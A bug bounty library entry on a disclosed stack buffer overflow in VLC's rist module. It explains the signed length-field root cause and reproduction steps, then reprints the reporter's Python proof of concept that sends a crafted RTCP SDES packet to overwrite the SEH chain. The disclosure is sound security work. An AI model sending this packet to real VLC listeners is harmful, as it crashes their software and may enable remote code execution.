# VLC 4.0.0 - Stack Buffer Overflow (SEH)

Signed int8 name_length from RTCP SDES packet bypasses bounds check, overflowing 128-byte new_sender_name stack buffer in VLC rist module and overwriting SEH chain.

- Payout: $2,817
- Severity: high
- Program: VLC (European Commission - DIGIT)
- Found by: qrayn
- Disclosed: 2020-02-10
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/489102
- Library page: https://bugbountylibrary.com/r/h1%3A489102
- Tags: area:os domain:desktop impact:dos impact:rce kind:bounty platform:hackerone sev:high tech:linux tech:windows technique:source-review vuln:dos vuln:memory-corruption

**Target:** VLC 4.0.0-dev rist access module, rtcp_input() RTCP SDES handler
**Root cause:** name_length is read as int8_t from attacker-controlled RTCP SDES bits and only checked against bytes_left, not MAX_CNAME, so a negative/large value passes and memcpy overflows new_sender_name[MAX_CNAME].
**Steps:**
1. Start VLC rist listener: `vlc.exe rist://0.0.0.0:8888`
2. Send UDP RTCP packet: `\x80` + `\xCA` + `\x00\x00` + 5 zero bytes + `\x80` (name length bits) + `A`*232 + `B`*8 + `C`*8 + `D`*200 (64-bit offsets)
3. Observe SEH chain overwritten with 0x4242.../0x4343... via `!exchain`
**How found:** Code review of rtcp_input() spotted int8_t name_length sourced from packet bits and a bounds check comparing only against bytes_left, missing MAX_CNAME.
**Exploitation:** Attacker sends crafted RTCP SDES packet to a rist listener; oversized memcpy overwrites stack including SEH records, giving crash and potential RCE depending on mitigations.
**Insight:** When a length field is signed (int8_t) and derived from packet bits, a check against remaining bytes alone is insufficient; look for memcpy destinations with fixed MAX_* sizes and verify the length is also bounded by the destination size.

## Proof of concept (copied exactly from the original report)

**Python UDP PoC sending crafted RTCP SDES packet**

```
#!/usr/bin/python
import socket

server = ("192.168.0.23", 8889)
udp = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

bufsize = "\x80" # Amounts of bytes we want read into new_sender_name (128 bytes)

buf = "\x80"                  # Version and padding
buf += "\xCA"                 # packet type = RTCP_PT_SDES
buf += "\x00\x00"             # Record length
buf += "\x00\x00\x00\x00\x00" # SDES record
buf += bufsize                # Buffer size of name 9-10 bit

# 64 bit
buf += "A" * 232 + "B" * 8 + "C" * 8 + "D" * 200 # Buffer for new_sender_name

# 32 bit
#buf += "A" * 568 + "B" * 4 + "C" * 4 + "D" * 50 # Buffer for new_sender_name

udp.sendto(buf, server)
```

